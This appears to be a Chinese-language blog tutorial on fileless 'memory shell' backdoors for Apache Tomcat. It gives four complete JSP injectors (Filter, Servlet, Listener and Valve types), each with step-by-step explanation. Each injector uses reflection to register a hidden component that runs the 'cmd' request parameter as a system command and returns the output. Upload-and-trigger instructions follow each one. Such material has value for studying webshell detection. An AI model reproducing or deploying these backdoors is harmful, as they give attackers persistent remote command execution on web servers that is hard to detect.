java内存马
idea 2024.1.2专业版
jdk1.8.0_181
tomcat 8.5.82
默认有java基础,Javassist,Jsp,JavaEE都会一点
更新ing
文章目录
0. 一些基础
tomcat包括五大容器和一个连接器,五大容器是Service、Engine、Host、Context、Wrapper,连接器是Connector。
tomcat中的三种context
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
1. filter型内存马
filter型内存马在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。
filter接口主要定义了以下三种方法:
- init(FilterConfig config): Filter初始化时调用一般位于tomcat服务器开始部署的时候。
- doFilter(ServletRequest request, ServletResponse response, FilterChain chain): 核心方法,用于处理请求并执行过滤逻辑。内存马的核心代码部分在这里执行。
- destroy(): Filter销毁时调用,释放资源。
Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。
pom.xml添加
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
webapp目录下filter.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
// 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter
final String name = "filter"; // Filter 的名称
// 1. 获取 ServletContext
ServletContext servletContext = request.getServletContext();
// 2. 通过反射获取 ApplicationContext
// 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); // 设置字段可访问
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值
// 3. 通过反射获取 StandardContext
// 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true); // 设置字段可访问
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值
// 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)
// 反射获取 StandardContext 中的 private 字段 "filterConfigs"
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true); // 设置字段可访问
Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值
// 5. 检查是否已存在同名 Filter
if (filterConfigs.get(name) == null) {
// 6. 创建恶意的 Filter 实例
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Filter 初始化方法 (此处为空)
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// Filter 的核心处理方法
HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
lresponse.setContentType("text/html; charset=UTF-8");
lresponse.setCharacterEncoding("UTF-8");
// 如果请求参数中包含 "cmd",则执行命令
if (lrequest.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令
// 读取命令执行结果
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
//InputStreamReader 是一个桥接器,它将字节流转换为字符流。
//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
// 将命令执行结果写入响应
lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
lresponse.getOutputStream().flush();
lresponse.getOutputStream().close();
return; // 阻止请求继续传递
}
filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求
}
@Override
public void destroy() {
// Filter 销毁方法
}
};
// 7. 创建 FilterDef (Filter 定义)
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); // 设置 Filter 实例
filterDef.setFilterName(name); // 设置 Filter 名称
filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名
standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext
// 8. 创建 FilterMap (Filter 映射)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式
filterMap.setFilterName(name); // 设置 Filter 名称
filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST
standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)
// 9. 创建 ApplicationFilterConfig (Filter 配置)
// 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true); // 设置构造方法可访问
// 通过反射创建 ApplicationFilterConfig 实例
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册
filterConfigs.put(name, filterConfig);
}
%>
上传该jsp文件到webapp目录然后浏览器访问filter.jsp
文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd
执行命令。
主要的一些关键步骤:
- 首先获取ServletContext: 通过当前请求对象(request)或其他方式获取ServletContext,request对象的获取可以在jsp文件和filter,servlet,listen。ServletContext是Web应用,ServletContext 对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。
- 然后通过反射获取StandardContext: 通过反射获取ServletContext中的context字段,该字段类型为ApplicationContext。再通过反射获取ApplicationContext中的context字段,该字段类型为StandardContext,StandardContext是Tomcat中管理Web应用的核心组件。
- 最后动态注册Filter:
- 通过反射获取StandardContext中的filterConfigs字段,该字段是一个Map,存储了所有已注册的Filter配置。
- 创建恶意的Filter对象,该对象实现了Filter接口,并在doFilter方法中实现恶意逻辑,例如执行命令、上传文件、反弹Shell等。
- 创建FilterDef对象,设置Filter的名称、类名等信息。
- 创建FilterMap对象,设置Filter拦截的URL模式。
- 通过反射创建ApplicationFilterConfig对象,将StandardContext和FilterDef作为参数传入。
- 将Filter的名称和ApplicationFilterConfig对象添加到filterConfigs中。
2. Servlet型内存马
Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
Servlet 接口定义了以下三个主要的方法:
- init(ServletConfig config): Servlet 初始化时调用,正常情况下用于读取配置信息和初始化资源。每个 Servlet 实例只会被初始化一次。
- service(ServletRequest req, ServletResponse res): Servlet 处理请求的核心方法。对于 HTTP 请求,通常会调用 HttpServlet 的 doGet、doPost 等方法。
- destroy(): Servlet 销毁时调用,用于释放资源。每个 Servlet 实例只会被销毁一次。
如果写成java类的话得在web.xml里加
<servlet>
<servlet-name>evilServlet</servlet-name>
<servlet-class>com.example.filtershell.EvilServlet</servlet-class>
<!-- 设置启动顺序 -->
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>evilServlet</servlet-name>
<url-pattern>/evil</url-pattern>
</servlet-mapping>
下面用jsp实现
servlet.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
// 定义恶意Servlet类
class EvilServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
//InputStreamReader 是一个桥接器,它将字节流转换为字符流。
//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
response.setContentType("text/html; charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.getWriter().write(sb.toString());
//response.getWriter() 来获取一个可以向客户端发送字符文本的 PrintWriter 对象。
} catch (Exception e) {
response.setContentType("text/html; charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.getWriter().write(e.toString());
}
}
}
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}
// 注入流程
final String servletName = "evilServlet";
final String urlPattern = "/evil";
// 1. 获取 StandardContext
//servletContext->ApplicationContext->StandardContext
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//获取context字段在applicationContext对象上的当前值
// 2. 检查 Servlet 是否已存在,防止重复注入
if (standardContext.findChild(servletName) == null) {
// 3. 创建 Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());
wrapper.setLoadOnStartup(1);
// 4. 添加 Servlet 配置
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(urlPattern, servletName);
out.println("Servlet 注入成功!");
out.println("访问路径: " + urlPattern);
out.println("支持参数: cmd");
} else {
out.println("Servlet 已存在!");
}
%>
上传该jsp文件到webapp目录然后浏览器访问servlet.jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。
主要的一些关键步骤:
-
恶意 EvilServlet 类: 继承自 HttpServlet,重写了 doGet 和 doPost 方法。如果请求参数中包含 cmd,则将其作为系统命令执行,并将结果返回给客户端。
-
注入流程:
-
获取 StandardContext: 与 Filter 型内存马类似,通过 ServletContext 和反射机制获取 StandardContext。
-
检查 Servlet 是否已存在: 通过 standardContext.findChild(servletName) 检查是否已存在同名的 Servlet,避免重复注入。
-
创建 Wrapper:
使用 standardContext.createWrapper() 创建一个 Wrapper 对象。
- wrapper.setName(servletName): 设置 Servlet 名称。
- wrapper.setServletClass(EvilServlet.class.getName()): 设置 Servlet 类名。
- wrapper.setServlet(new EvilServlet()): 设置 Servlet 实例,也可以选择不进行设置。
- wrapper.setLoadOnStartup(1): 设置 Servlet 的启动优先级,1 表示在 Web 应用启动时加载该 Servlet。
-
添加 Servlet 配置:
- standardContext.addChild(wrapper): 将 Wrapper 添加到 StandardContext 中。
- standardContext.addServletMappingDecoded(urlPattern, servletName): 添加 URL 映射,将 /evil 映射到 evilServlet。
-
3. listener型内存马
listener型内存马在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。
Listener (监听器) 是 Java Servlet 规范中定义的一种特殊组件,用于监听 Web 应用程序中的特定事件,并在事件发生时执行相应的操作。监听器可以用来监听多种类型的事件,例如:
-
应用程序生命周期事件: 与 ServletContext(应用程序)的初始化和销毁相关的事件。
-
会话生命周期事件: 与用户会话的创建、修改和失效相关的事件。
-
请求生命周期事件: 与 HTTP 请求的处理相关的事件。
-
属性变更: 与 ServletContext、会话或请求对象中属性的添加、删除或替换相关的事件。
-
**requestInitialized(ServletRequestEvent sre):**此方法在每个 HTTP 请求开始时触发,如果 cmd 参数存在,它将 cmd 的值作为系统命令执行(使用 Runtime.getRuntime().exec())。
-
**requestDestroyed(ServletRequestEvent sre):**此方法在每个 HTTP 请求结束时调用。
与filter和servlet内存马区别:
主要区别在于触发方式。Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发。
listener一般在web.xml这样配置,但这里不必配置
<listener>
<listener-class>com.example.MyServletContextListener</listener-class>
</listener>
使用jsp写
listener.jsp
ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener
接口的requestInitialized()
方法。
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.logging.Logger" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.*" %>
<%
// 定义恶意Listener
class EvilListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 每次请求初始化的时候处理
Logger logger = Logger.getLogger(EvilListener.class.getName());
logger.info("start of listen");
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")}).getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
//InputStreamReader 是一个桥接器,它将字节流转换为字符流。
//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request)requestF.get(request);
req.getResponse().setContentType("text/plain; charset=UTF-8");
req.getResponse().setCharacterEncoding("UTF-8");
req.getResponse().getWriter().write(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){
// 每次请求结束时的处理
Logger logger = Logger.getLogger(EvilListener.class.getName());
logger.info("ends of listen");
}
}
// 注入流程
// 1. 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 创建并添加Listener
ServletRequestListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
out.println("Listener注入成功!");
%>
上传listener.jsp后浏览器访问listener.jsp触发代码,之后就可访问任意路由传参cmd执行命令。
注入过程中的关键步骤:
- 获取 StandardContext:
- 从当前请求中获取 ServletContext 对象。
- 使用反射访问 ServletContext 中的 context 字段(该字段的类型为 ApplicationContext)。
- 再次使用反射访问 ApplicationContext 中的 context 字段(此时该字段的类型为 StandardContext)。StandardContext 是 Tomcat 内部对 Web 应用程序的表示。
- 创建并注册恶意 Listener:
- 创建 EvilListener 类的实例。
- 使用 StandardContext 对象的 addApplicationEventListener() 方法注册恶意 Listener。这会将 Listener 添加到 Web 应用程序的事件处理流程中。
4. Tomcat特有的Valve内存马
1. valve基础
Valve (阀门) 是 Tomcat 特有的一种组件,是 Tomcat 的 Pipeline-Valve 架构中的组件,类似 Filter,但工作在更底层,存在于 Tomcat 的 Pipeline-Valve 架构中。Valve 可以拦截和处理进入 Tomcat 容器的 HTTP 请求,并在请求处理完成后对响应进行处理。
Pipeline-Valve 架构:
Tomcat 的请求处理流程是通过 Pipeline-Valve 架构实现的。每个容器(Engine, Host, Context, Wrapper)都有自己的 Pipeline,Pipeline 中包含一系列 Valve,维护着先进先出的队列。
- First Valve (首阀门): 管道中的第一个 Valve,通常用于执行一些全局性的预处理操作。
- Intermediate Valve (中间阀门): 可以有多个,按顺序执行,用于实现各种业务逻辑。
- Basic Valve (基础阀门): 管道的最后一个 Valve,每个 Pipeline 必须有且只有一个。它负责调用 Servlet 或下一个容器的 Pipeline。
Valve 的关键方法:
- invoke(Request request, Response response): 此方法在每个 HTTP 请求到达 Valve 时触发。Valve 可以在此方法中对请求进行处理,并决定是否将请求传递给下一个 Valve 或 Servlet。如果 cmd 参数存在,它可以将 cmd 的值作为系统命令执行 (使用 Runtime.getRuntime().exec())。getNext().invoke(request, response) 将请求传递到下一个 Valve。
2. valve内存马
Valve 型内存马 工作在 Tomcat 的底层请求处理流程中,不需要配置 URL 映射,可以在请求到达 Servlet 之前或之后触发,甚至可以拦截所有请求, 比 filter 更早拦截。
valve.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.List" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%!
class EvilValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
response.setContentType("text/plain; charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.getWriter().write(sb.toString());
response.setStatus(HttpServletResponse.SC_OK);
response.getWriter().flush();
response.getWriter().close();
return;
} catch (Exception e) {
e.printStackTrace();
}
}
getNext().invoke(request, response);
}
}
%>
<%
try {
// 1. 反射获取 StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
// 2. 获取 Pipeline
Pipeline pipeline = standardContext.getPipeline();
// 3. 创建并添加 Valve
pipeline.addValve(new EvilValve());
out.println("Valve 注入成功!");
} catch (Exception e) {
e.printStackTrace(response.getWriter());
}
%>
上传 valve.jsp 访问 valve.jsp 触发代码,之后就可访问任意路由传参 cmd 执行命令。
注入过程中的关键步骤:
- 获取 StandardContext:
- 从当前请求对象 request 中通过反射获取 request 属性,它的类型是 org.apache.catalina.connector.Request。
- 通过 req.getContext() 获取 StandardContext 对象。
- 获取 Pipeline:
- 通过 standardContext.getPipeline() 获取 Pipeline 对象。
- 创建并注册恶意 Valve:
- 创建 EvilValve 类的实例。
- 使用 Pipeline 对象的 addValve() 方法注册恶意 Valve。这会将 Valve 添加到 Web 应用程序的 Valve 处理流程中。
5. Spring内存马
施工中ing
Java Agent看下一篇
还是挺复杂的
参考
Java Web安全 百安科技